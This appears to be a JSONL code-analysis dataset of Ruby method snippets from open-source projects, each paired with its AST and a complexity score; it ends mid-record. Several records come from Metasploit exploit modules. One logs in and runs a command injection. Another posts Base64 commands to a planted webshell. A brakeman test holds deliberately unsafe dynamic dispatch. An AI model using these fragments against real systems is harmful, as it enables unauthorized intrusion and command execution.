+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_widget_set.rb","start_line":64,"raw_source":"def ensure_can_be_destroyed\n if read_only?\n errors.add(:base, _(\"Unable to delete read-only WidgetSet\"))\n throw(:abort)\n end\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_can_be_destroyed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_only?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Unable to delete read-only WidgetSet\"]}]}]},{\"type\":\"send\",\"children\":[null,\"throw\",{\"type\":\"sym\",\"children\":[\"abort\"]}]}]},null]}]}","id":"ee2a50f0-5cab-44e5-baad-2d85c87691e9"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/symantec_web_gateway_restore.rb","start_line":196,"raw_source":"def exploit\n print_status(\"Getting the PHPSESSID...\")\n sid = get_sid\n if sid.blank?\n print_error(\"Failed to get the session ID. Cannot continue with the login.\")\n return\n end\n\n print_status(\"Attempting to log in as #{datastore['USERNAME']}:#{datastore['PASSWORD']}\")\n sid = login(sid)\n if sid.blank?\n print_error(\"Failed to get the session ID from the login process. Cannot continue with the injection.\")\n return\n else\n # Good password, keep it\n store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])\n end\n\n print_status(\"Trying restore.php...\")\n inject_exec(sid)\n end","complexity_score":26.3,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Getting the PHPSESSID...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sid\",{\"type\":\"send\",\"children\":[null,\"get_sid\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sid\"]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Failed to get the session ID. Cannot continue with the login.\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting to log in as \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sid\",{\"type\":\"send\",\"children\":[null,\"login\",{\"type\":\"lvar\",\"children\":[\"sid\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sid\"]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Failed to get the session ID from the login process. Cannot continue with the injection.\"]}]},{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"store_valid_credential\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Trying restore.php...\"]}]},{\"type\":\"send\",\"children\":[null,\"inject_exec\",{\"type\":\"lvar\",\"children\":[\"sid\"]}]}]}]}","id":"196f8d36-ff8e-45a8-8b41-5b277a0cd48a"}
+{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/jobs/account/contacts_export_job.rb","start_line":27,"raw_source":"def contacts\n if @params.present? && @params[:payload].present? && @params[:payload].any?\n result = ::Contacts::FilterService.new(@account, @account_user, @params).perform\n result[:contacts]\n elsif @params[:label].present?\n @account.contacts.resolved_contacts(use_crm_v2: @account.feature_enabled?('crm_v2')).tagged_with(@params[:label], any: true)\n else\n @account.contacts.resolved_contacts(use_crm_v2: @account.feature_enabled?('crm_v2'))\n end\n end","complexity_score":29.1,"ast_json":"{\"type\":\"def\",\"children\":[\"contacts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payload\"]}]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payload\"]}]},\"any?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Contacts\"]},\"FilterService\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@account\"]},{\"type\":\"ivar\",\"children\":[\"@account_user\"]},{\"type\":\"ivar\",\"children\":[\"@params\"]}]},\"perform\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"contacts\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"label\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"contacts\"]},\"resolved_contacts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_crm_v2\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"feature_enabled?\",{\"type\":\"str\",\"children\":[\"crm_v2\"]}]}]}]}]},\"tagged_with\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"label\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"any\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"contacts\"]},\"resolved_contacts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_crm_v2\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"feature_enabled?\",{\"type\":\"str\",\"children\":[\"crm_v2\"]}]}]}]}]}]}]}]}","id":"d82ac5ef-e166-4852-b4b4-6ecf506fc9bc"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb","start_line":13,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Supermicro Onboard IPMI CGI Vulnerability Scanner',\n 'Description' => %q{\n This module checks for known vulnerabilities in the CGI applications of\n Supermicro Onboard IPMI controllers. These issues currently include\n several unauthenticated buffer overflows in the login.cgi and close_window.cgi\n components.\n },\n 'Author' => [\n 'hdm', # Discovery and analysis\n 'juan vazquez' # Metasploit module\n ],\n 'License' => MSF_LICENSE,\n 'References' => [\n [ 'CVE', '2013-3621' ],\n [ 'CVE', '2013-3623' ],\n [ 'URL', 'https://www.rapid7.com/blog/post/2013/11/06/supermicro-ipmi-firmware-vulnerabilities/']\n ],\n 'DisclosureDate' => '2013-11-06',\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Supermicro Onboard IPMI CGI Vulnerability Scanner\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module checks for known vulnerabilities in the CGI applications of\\n\"]},{\"type\":\"str\",\"children\":[\" Supermicro Onboard IPMI controllers. These issues currently include\\n\"]},{\"type\":\"str\",\"children\":[\" several unauthenticated buffer overflows in the login.cgi and close_window.cgi\\n\"]},{\"type\":\"str\",\"children\":[\" components.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"hdm\"]},{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-3621\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-3623\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.rapid7.com/blog/post/2013/11/06/supermicro-ipmi-firmware-vulnerabilities/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-11-06\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"8d691d40-e43a-43d7-aeec-16a7f5e923d1"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/modules.rb","start_line":1019,"raw_source":"def cmd_listm_help\n print_line 'Usage: listm'\n print_line\n print_line 'List the module stack'\n print_line\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_listm_help\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: listm\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"List the module stack\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]}]}]}","id":"241eb8a6-f4d8-4580-9bf4-c84600fa4798"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/services/add_work_package_note_service.rb","start_line":60,"raw_source":"def add_journal_to_work_package(notes, internal)\n work_package.add_journal(user:, notes:, internal:)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add_journal_to_work_package\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notes\"]},{\"type\":\"arg\",\"children\":[\"internal\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"add_journal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notes\"]},{\"type\":\"lvar\",\"children\":[\"notes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"internal\"]},{\"type\":\"lvar\",\"children\":[\"internal\"]}]}]}]}]}","id":"e0451041-e372-499f-bf42-5dd9e6c68423"}
+{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/translation_helper_test.rb","start_line":385,"raw_source":"def test_translate_bulk_lookup_with_default\n translations = translate([:\"translations.missing\", :\"translations.missing\"], default: :\"translations.foo\")\n assert_equal [\"Foo\", \"Foo\"], translations\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_translate_bulk_lookup_with_default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"translations\",{\"type\":\"send\",\"children\":[null,\"translate\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"translations.missing\"]},{\"type\":\"sym\",\"children\":[\"translations.missing\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"sym\",\"children\":[\"translations.foo\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Foo\"]},{\"type\":\"str\",\"children\":[\"Foo\"]}]},{\"type\":\"lvar\",\"children\":[\"translations\"]}]}]}]}","id":"3a5a4ff5-ccf0-4710-a3f7-711843315997"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/repository_cache.rb","start_line":8,"raw_source":"def initialize(repository, extra_namespace: nil, backend: self.class.store)\n @repository = repository\n @namespace = repository.full_path.to_s\n @namespace += \":#{repository.project.id}\" if repository.project\n @namespace = \"#{@namespace}:#{extra_namespace}\" if extra_namespace\n @backend = backend\n end","complexity_score":16.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repository\"]},{\"type\":\"kwoptarg\",\"children\":[\"extra_namespace\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"backend\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"store\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@repository\",{\"type\":\"lvar\",\"children\":[\"repository\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@namespace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"full_path\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"project\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@namespace\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"project\"]},\"id\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extra_namespace\"]},{\"type\":\"ivasgn\",\"children\":[\"@namespace\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@namespace\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extra_namespace\"]}]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@backend\",{\"type\":\"lvar\",\"children\":[\"backend\"]}]}]}]}","id":"e4da739c-f9a8-4251-8a02-df23357202fa"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/users_controller.rb","start_line":138,"raw_source":"def contributed\n present_projects do\n load_contributed_projects\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"contributed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"present_projects\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"load_contributed_projects\"]}]}]}","id":"0a1d0ab7-072f-4fcc-9255-aec2f1234115"}
+{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails2/app/controllers/home_controller.rb","start_line":81,"raw_source":"def test_send_first_param\n method = params[\"method\"]\n @result = User.send(method.to_sym)\n do_something_with @result # don't warn on this line\n end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_send_first_param\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"method\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"method\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"send\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"to_sym\"]}]}]},{\"type\":\"send\",\"children\":[null,\"do_something_with\",{\"type\":\"ivar\",\"children\":[\"@result\"]}]}]}]}","id":"cfc22b59-1760-40ab-a7b6-ce667846f4ee"}
+{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/helper.rb","start_line":176,"raw_source":"def self.xcode_at_least?(version)\n installed_xcode_version = xcode_version\n UI.user_error!(\"Unable to locate Xcode. Please make sure to have Xcode installed on your machine\") if installed_xcode_version.nil?\n Gem::Version.new(installed_xcode_version) >= Gem::Version.new(version)\n end","complexity_score":8.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"xcode_at_least?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"version\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"installed_xcode_version\",{\"type\":\"send\",\"children\":[null,\"xcode_version\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"installed_xcode_version\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"Unable to locate Xcode. Please make sure to have Xcode installed on your machine\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"installed_xcode_version\"]}]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}]}","id":"f93630fc-2c8c-4c33-8e84-1c1e837ce370"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/kas.rb","start_line":109,"raw_source":"def version_file_content\n Rails.root.join(VERSION_FILE).read.chomp\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"version_file_content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"const\",\"children\":[null,\"VERSION_FILE\"]}]},\"read\"]},\"chomp\"]}]}","id":"caadc101-6821-4597-8d90-f8b2d081218a"}
+{"repo_name":"discourse","file_path":"./repos/discourse/lib/site_settings/local_process_provider.rb","start_line":36,"raw_source":"def find(name)\n settings[name]\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}","id":"f73bb566-97ac-4d37-8b3b-04783638fc4a"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/pretalx/error.rb","start_line":35,"raw_source":"def initialize(message = 'Could not successfully extract CSRF token')\n super(message: message)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"message\",{\"type\":\"str\",\"children\":[\"Could not successfully extract CSRF token\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}","id":"823c85d2-1744-4cc9-8b58-990f78bbb63c"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/gambio_unauth_rce_cve_2024_23759.rb","start_line":91,"raw_source":"def execute_php(cmd, _opts = {})\n payload = Base64.strict_encode64(cmd)\n send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, @webshell_name),\n 'vars_post' => {\n @post_param => payload\n }\n })\n end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_php\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"strict_encode64\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"ivar\",\"children\":[\"@webshell_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post_param\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}]}]}]}]}","id":"e365bd40-5550-4ad8-acb5-797cc122f618"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/show.rb","start_line":68,"raw_source":"def create_first_new_file!\n within_element('quick-actions-container') do\n click_link_with_text 'New file'\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"create_first_new_file!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_element\",{\"type\":\"str\",\"children\":[\"quick-actions-container\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"click_link_with_text\",{\"type\":\"str\",\"children\":[\"New file\"]}]}]}]}","id":"56c519f9-c033-482c-b179-1f21a979b937"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/tasks/database_tasks_test.rb","start_line":517,"raw_source":"def test_ignores_remote_databases\n @configurations[\"development\"][\"host\"] = \"my.server.tld\"\n\n with_stubbed_configurations_establish_connection do\n assert_not_called(ActiveRecord::Tasks::DatabaseTasks, :create) do\n ActiveRecord::Tasks::DatabaseTasks.create_all\n end\n end\n end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_ignores_remote_databases\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@configurations\"]},\"[]\",{\"type\":\"str\",\"children\":[\"development\"]}]},\"[]=\",{\"type\":\"str\",\"children\":[\"host\"]},{\"type\":\"str\",\"children\":[\"my.server.tld\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_stubbed_configurations_establish_connection\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_called\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},{\"type\":\"sym\",\"children\":[\"create\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"create_all\"]}]}]}]}]}","id":"898bcc23-ca71-4538-a754-11af68bef1e3"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/container_registry/protection/update_tag_rule_service.rb","start_line":25,"raw_source":"def execute\n unless can?(current_user, :admin_container_image, container_protection_tag_rule.project)\n return service_response_error(message: _('Unauthorized to update a protection rule for container image tags'))\n end\n\n unless ::ContainerRegistry::GitlabApiClient.supports_gitlab_api?\n return service_response_error(message: _('GitLab container registry API not supported'))\n end\n\n unless container_protection_tag_rule.update(params.slice(*ALLOWED_ATTRIBUTES))\n return service_response_error(message: container_protection_tag_rule.errors.full_messages)\n end\n\n ServiceResponse.success(payload: { container_protection_tag_rule: container_protection_tag_rule })\n rescue ArgumentError => e\n service_response_error(message: e.message)\n end","complexity_score":35.1,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"admin_container_image\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container_protection_tag_rule\"]},\"project\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_response_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Unauthorized to update a protection rule for container image tags\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ContainerRegistry\"]},\"GitlabApiClient\"]},\"supports_gitlab_api?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_response_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"GitLab container registry API not 